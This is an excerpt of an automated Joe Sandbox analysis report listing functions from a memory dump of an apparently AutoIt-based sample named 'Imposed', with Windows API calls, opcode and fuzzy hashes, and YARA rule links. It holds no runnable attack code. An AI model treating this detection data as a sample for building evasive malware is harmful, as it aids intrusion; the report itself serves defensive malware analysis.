                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Window$CreateShow
                                                                                                                                                                • String ID: AutoIt v3$edit
                                                                                                                                                                • API String ID: 1584632944-3779509399
                                                                                                                                                                • Opcode ID: be8da95282040ea87d2ca39bc61cb89c059a969035614cf5d0c64307c612e54c
                                                                                                                                                                • Instruction ID: ecc09567119a306baaa1efd932ed5cb77db39914e9679cbf5aba71375e80a54e
                                                                                                                                                                • Opcode Fuzzy Hash: be8da95282040ea87d2ca39bc61cb89c059a969035614cf5d0c64307c612e54c
                                                                                                                                                                • Instruction Fuzzy Hash: 67F0FE715406907AEB3297A76C0CF373E7DE7CAF50F10002EF904AA2B1C6A91852DBB4
                                                                                                                                                                Function 00994C04 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 122windowCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                APIs
                                                                                                                                                                • LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 009D46C0
                                                                                                                                                                  • Part of subcall function 0099B0DB: _wcslen.LIBCMT ref: 0099B0EE
                                                                                                                                                                • Shell_NotifyIconW.SHELL32(00000001,?), ref: 00994CF4
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: IconLoadNotifyShell_String_wcslen
                                                                                                                                                                • String ID: Line %d: $AutoIt - $X$X$
                                                                                                                                                                • API String ID: 2289894680-2293264028
                                                                                                                                                                • Opcode ID: a037ee62dbf802059a0bfec5b4df56b495e537bb907250e6f502a97cf58e4dd4
                                                                                                                                                                • Instruction ID: 5104def70df1e3c8970594b79a15574752fcf0dc56fb39eefcf69f128a5ec307
                                                                                                                                                                • Opcode Fuzzy Hash: a037ee62dbf802059a0bfec5b4df56b495e537bb907250e6f502a97cf58e4dd4
                                                                                                                                                                • Instruction Fuzzy Hash: A04195714083046ADB21EB64DC45FEF77ECAF84314F10492AF599921A1EB74A64AC792
                                                                                                                                                                Function 009FF152 Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • QueryPerformanceCounter.KERNEL32(?), ref: 009FF16E
                                                                                                                                                                • QueryPerformanceFrequency.KERNEL32(?), ref: 009FF17C
                                                                                                                                                                • Sleep.KERNEL32(00000000), ref: 009FF184
                                                                                                                                                                • QueryPerformanceCounter.KERNEL32(?), ref: 009FF18E
                                                                                                                                                                • Sleep.KERNEL32 ref: 009FF1CA
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: PerformanceQuery$CounterSleep$Frequency
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2833360925-0
                                                                                                                                                                • Opcode ID: 394370997c9d34dc05f60df7fe5185ece95e21d34b389784efd6c31badb7c181
                                                                                                                                                                • Instruction ID: 6c411bede525d51b1e07af6e79d2576ccd5259cd0566b1bed90e78861c2b5c15
                                                                                                                                                                • Opcode Fuzzy Hash: 394370997c9d34dc05f60df7fe5185ece95e21d34b389784efd6c31badb7c181
                                                                                                                                                                • Instruction Fuzzy Hash: A4015731E0461DDBDF10EFE8D898AFDBB79BF08701F000566EA01B2254CB3095668B61
                                                                                                                                                                Function 0099529A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58registryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • RegOpenKeyExW.KERNEL32(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,0099528D,SwapMouseButtons,00000004,?), ref: 009952BE
                                                                                                                                                                • RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,0099528D,SwapMouseButtons,00000004,?), ref: 009952DF
                                                                                                                                                                • RegCloseKey.KERNEL32(00000000,?,?,?,80000001,80000001,?,0099528D,SwapMouseButtons,00000004,?), ref: 00995301
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CloseOpenQueryValue
                                                                                                                                                                • String ID: Control Panel\Mouse
                                                                                                                                                                • API String ID: 3677997916-824357125
                                                                                                                                                                • Opcode ID: eec97c2634d512e6fef2f9ad37de5e5032cd7e50fc5fdfee101f0951465c6d28
                                                                                                                                                                • Instruction ID: 5f5ce7f229347cd9e97020a841514ce4c3fde98663fff7e166c9df9ec8d28a36
                                                                                                                                                                • Opcode Fuzzy Hash: eec97c2634d512e6fef2f9ad37de5e5032cd7e50fc5fdfee101f0951465c6d28
                                                                                                                                                                • Instruction Fuzzy Hash: 9E112A75620608FFDF228FA8DC85DAFBBBCEF04744B114469A805D7124E271DE42AB64
                                                                                                                                                                Function 0099F220 Relevance: 6.7, APIs: 2, Strings: 1, Instructions: 1414COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                Strings
                                                                                                                                                                • Variable must be of type 'Object'., xrefs: 009E4D95
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID:
                                                                                                                                                                • String ID: Variable must be of type 'Object'.
                                                                                                                                                                • API String ID: 0-109567571
                                                                                                                                                                • Opcode ID: ed52289b1d7e62a95e03cb5af1d8066698ddb3c634ca5f46863c33b43d9b43b1
                                                                                                                                                                • Instruction ID: 0bc65feed5ce9460388e64293e66daeaebf1bccc20bffa2fbda4b0947f3bf637
                                                                                                                                                                • Opcode Fuzzy Hash: ed52289b1d7e62a95e03cb5af1d8066698ddb3c634ca5f46863c33b43d9b43b1
                                                                                                                                                                • Instruction Fuzzy Hash: 0AC26A75A00209CFCF24CF98C891BAEB7B5BF48314F248569E955EB3A1D375AD81CB90
                                                                                                                                                                Function 0099FE90 Relevance: 5.8, APIs: 3, Instructions: 1254COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 009A1616
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Init_thread_footer
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1385522511-0
                                                                                                                                                                • Opcode ID: b81964f616f07750c24e8ad5f491d48936faab29e9678bf18a7437fb19bf36fa
                                                                                                                                                                • Instruction ID: 19abc71cad00e6e3f213ec9ed1f3517f3b487b5db4b9528dabea268ff98f13ef
                                                                                                                                                                • Opcode Fuzzy Hash: b81964f616f07750c24e8ad5f491d48936faab29e9678bf18a7437fb19bf36fa
                                                                                                                                                                • Instruction Fuzzy Hash: 6AB25774A08341CFCB24CF19C490A2ABBF5BBDA354F24891DE8999B351D775ED81CB82
                                                                                                                                                                Function 009B01FB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • __CxxThrowException@8.LIBVCRUNTIME ref: 009B0A88
                                                                                                                                                                  • Part of subcall function 009B36C4: RaiseException.KERNEL32(?,?,?,009B0AAA,?,?,?,?,?,?,?,?,009B0AAA,?,00A596A0), ref: 009B3724
                                                                                                                                                                • __CxxThrowException@8.LIBVCRUNTIME ref: 009B0AA5
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Exception@8Throw$ExceptionRaise
                                                                                                                                                                • String ID: Unknown exception
                                                                                                                                                                • API String ID: 3476068407-410509341
                                                                                                                                                                • Opcode ID: e07d340b14b6c473aefccafc8f0cc827c61dea85aee2336d35bf9c487bb93f07
                                                                                                                                                                • Instruction ID: 856200589be34e6e8561fca5cacfbfa39e54036b62cfebd3a0e0ff3de03e4b84
                                                                                                                                                                • Opcode Fuzzy Hash: e07d340b14b6c473aefccafc8f0cc827c61dea85aee2336d35bf9c487bb93f07
                                                                                                                                                                • Instruction Fuzzy Hash: D8F0C83450030DB78F00FAB4EA5AEDF776C5A80370FA08520BC34965D2FB71EA1985C0
                                                                                                                                                                Function 00A186CB Relevance: 4.9, APIs: 3, Instructions: 430COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetCurrentProcess.KERNEL32(00000000,00000067,000000FF,?,?,?), ref: 00A18A67
                                                                                                                                                                • TerminateProcess.KERNEL32(00000000), ref: 00A18A6E
                                                                                                                                                                • FreeLibrary.KERNEL32(?,?,?,?), ref: 00A18C4F
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Process$CurrentFreeLibraryTerminate
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 146820519-0
                                                                                                                                                                • Opcode ID: 588f94c44c600e4a5295509afca535bef988a8d4d800b73664bfe379529df9b8
                                                                                                                                                                • Instruction ID: 7cbc84a0e6d70fccf70b97bd4a644b9bd052f22e701e3422c066df0b66655913
                                                                                                                                                                • Opcode Fuzzy Hash: 588f94c44c600e4a5295509afca535bef988a8d4d800b73664bfe379529df9b8
                                                                                                                                                                • Instruction Fuzzy Hash: EF127B71A083419FC714CF28C584B6ABBE5FF89314F14895DE8998B392DB34E985CF92
                                                                                                                                                                Function 00A19808 Relevance: 4.7, APIs: 3, Instructions: 233COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: _wcslen$_strcat
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 306214811-0
                                                                                                                                                                • Opcode ID: 47431c7a8b68b0715b52edf8b5e82edb6d0b5ba80e5965cf883061e07f3c16f0
                                                                                                                                                                • Instruction ID: e85a9286b6c030d9a419d362fa44fe7e6f05d27c4ee1448420f170cdd8c5bb24
                                                                                                                                                                • Opcode Fuzzy Hash: 47431c7a8b68b0715b52edf8b5e82edb6d0b5ba80e5965cf883061e07f3c16f0
                                                                                                                                                                • Instruction Fuzzy Hash: 01A15F35604205DFCB18DF58C5E1AAABBB1FF85354B14846DE85A8F292DB31ED86CB80
                                                                                                                                                                Function 009938E2 Relevance: 4.7, APIs: 3, Instructions: 152comCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 00993700: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00993731
                                                                                                                                                                  • Part of subcall function 00993700: MapVirtualKeyW.USER32(00000010,00000000), ref: 00993739
                                                                                                                                                                  • Part of subcall function 00993700: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00993744
                                                                                                                                                                  • Part of subcall function 00993700: MapVirtualKeyW.USER32(000000A1,00000000), ref: 0099374F
                                                                                                                                                                  • Part of subcall function 00993700: MapVirtualKeyW.USER32(00000011,00000000), ref: 00993757
                                                                                                                                                                  • Part of subcall function 00993700: MapVirtualKeyW.USER32(00000012,00000000), ref: 0099375F
                                                                                                                                                                  • Part of subcall function 00993768: RegisterWindowMessageW.USER32(00000004,?,00993AB3), ref: 009937C0
                                                                                                                                                                • GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00993B54
                                                                                                                                                                • OleInitialize.OLE32 ref: 00993B72
                                                                                                                                                                • CloseHandle.KERNEL32(00000000,00000000), ref: 009D3F42
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1986988660-0
                                                                                                                                                                • Opcode ID: fc8053ae1ce40ba2d3fd56d472eb8a1f5b7d0dc21da29ea11137fb7b01fcf184
                                                                                                                                                                • Instruction ID: 7eacad4e9324b7e81c11f3903de6c3fa78e03a0993a7c2654f42d2f2d7321706
                                                                                                                                                                • Opcode Fuzzy Hash: fc8053ae1ce40ba2d3fd56d472eb8a1f5b7d0dc21da29ea11137fb7b01fcf184
                                                                                                                                                                • Instruction Fuzzy Hash: AA719BB4901A408ED7A8EFBDAD697557BF0FB98345310813ED41AC72B2EBB84542CF51
                                                                                                                                                                Function 009AFD8B Relevance: 4.6, APIs: 3, Instructions: 75timewindowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 00994C04: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00994CF4
                                                                                                                                                                • KillTimer.USER32(?,00000001,?,?), ref: 009AFE14
                                                                                                                                                                • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 009AFE23
                                                                                                                                                                • Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 009EFD62
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: IconNotifyShell_Timer$Kill
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3500052701-0
                                                                                                                                                                • Opcode ID: 69926f83912c9cd47164854df41c555c3aa4a2bb342cf493c3f236c6670e293d
                                                                                                                                                                • Instruction ID: ebe807953603bc4f12091992387a09edd2dfc30ec3734f774cd9a5e277c53d59
                                                                                                                                                                • Opcode Fuzzy Hash: 69926f83912c9cd47164854df41c555c3aa4a2bb342cf493c3f236c6670e293d
                                                                                                                                                                • Instruction Fuzzy Hash: F6318170904394AFDB33CB658C65BE6BBECAB02308F1404AED6DD97282D7745E86CB51
                                                                                                                                                                Function 009C8ACE Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • CloseHandle.KERNEL32(00000000,00000000,?,?,009C89EC,?,00A59C30,0000000C), ref: 009C8B24
                                                                                                                                                                • GetLastError.KERNEL32(?,009C89EC,?,00A59C30,0000000C), ref: 009C8B2E
                                                                                                                                                                • __dosmaperr.LIBCMT ref: 009C8B59
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CloseErrorHandleLast__dosmaperr
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2583163307-0
                                                                                                                                                                • Opcode ID: d5ad1e2b7e573b85fbdfbce7fbde876ad8eb11307b6cc95dfa6fa183d15a6b07
                                                                                                                                                                • Instruction ID: 4d389a64b7cf26603b006a8805a732c701442dbea7f69f28bf3a6b74fccc6008
                                                                                                                                                                • Opcode Fuzzy Hash: d5ad1e2b7e573b85fbdfbce7fbde876ad8eb11307b6cc95dfa6fa183d15a6b07
                                                                                                                                                                • Instruction Fuzzy Hash: A3012672E046209FC2246274A885F7F674E5BC2774F2A051FF8049F1D2DFA09CC28293
                                                                                                                                                                Function 009C97AB Relevance: 4.6, APIs: 3, Instructions: 50COMMONLIBRARYCODE
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SetFilePointerEx.KERNEL32(00000000,00000000,00000002,FF8BC369,00000000,FF8BC35D,00000000,1875FF1C,1875FF1C,?,009C985A,FF8BC369,00000000,00000002,00000000), ref: 009C97E4
                                                                                                                                                                • GetLastError.KERNEL32(?,009C985A,FF8BC369,00000000,00000002,00000000,?,009C5F81,00000000,00000000,00000000,00000002,00000000,FF8BC369,00000000,009B6FF1), ref: 009C97EE
                                                                                                                                                                • __dosmaperr.LIBCMT ref: 009C97F5
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ErrorFileLastPointer__dosmaperr
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2336955059-0
                                                                                                                                                                • Opcode ID: 74e0b1f5186204e52df92366a20430c156ead2220cb08bace570479796d8f41f
                                                                                                                                                                • Instruction ID: dc41b302e168f408fef80639aac99d56f733434df9e533fafc594c7dff6721fb
                                                                                                                                                                • Opcode Fuzzy Hash: 74e0b1f5186204e52df92366a20430c156ead2220cb08bace570479796d8f41f
                                                                                                                                                                • Instruction Fuzzy Hash: 7B012833E20518AFCB059F99DC09EAE3B2AEB85330B24024DF8109B190EA70DD528792
                                                                                                                                                                Function 0099E098 Relevance: 4.5, APIs: 3, Instructions: 29windowsleepCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • TranslateMessage.USER32(?), ref: 0099E0DB
                                                                                                                                                                • DispatchMessageW.USER32(?), ref: 0099E0E9
                                                                                                                                                                • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0099E0FF
                                                                                                                                                                • Sleep.KERNEL32(0000000A), ref: 0099E111
                                                                                                                                                                • TranslateAcceleratorW.USER32(?,?,?), ref: 009E2B6F
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Message$Translate$AcceleratorDispatchPeekSleep
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3288985973-0
                                                                                                                                                                • Opcode ID: 7eeebbc183d29d0af5e5ab1b0c643ccaf277ea630b04fc8663e9cb966250ff82
                                                                                                                                                                • Instruction ID: d482c9d994dd364d1ad5d2a346d092d480c4e749b9c8ea881db7db452b83eb7a
                                                                                                                                                                • Opcode Fuzzy Hash: 7eeebbc183d29d0af5e5ab1b0c643ccaf277ea630b04fc8663e9cb966250ff82
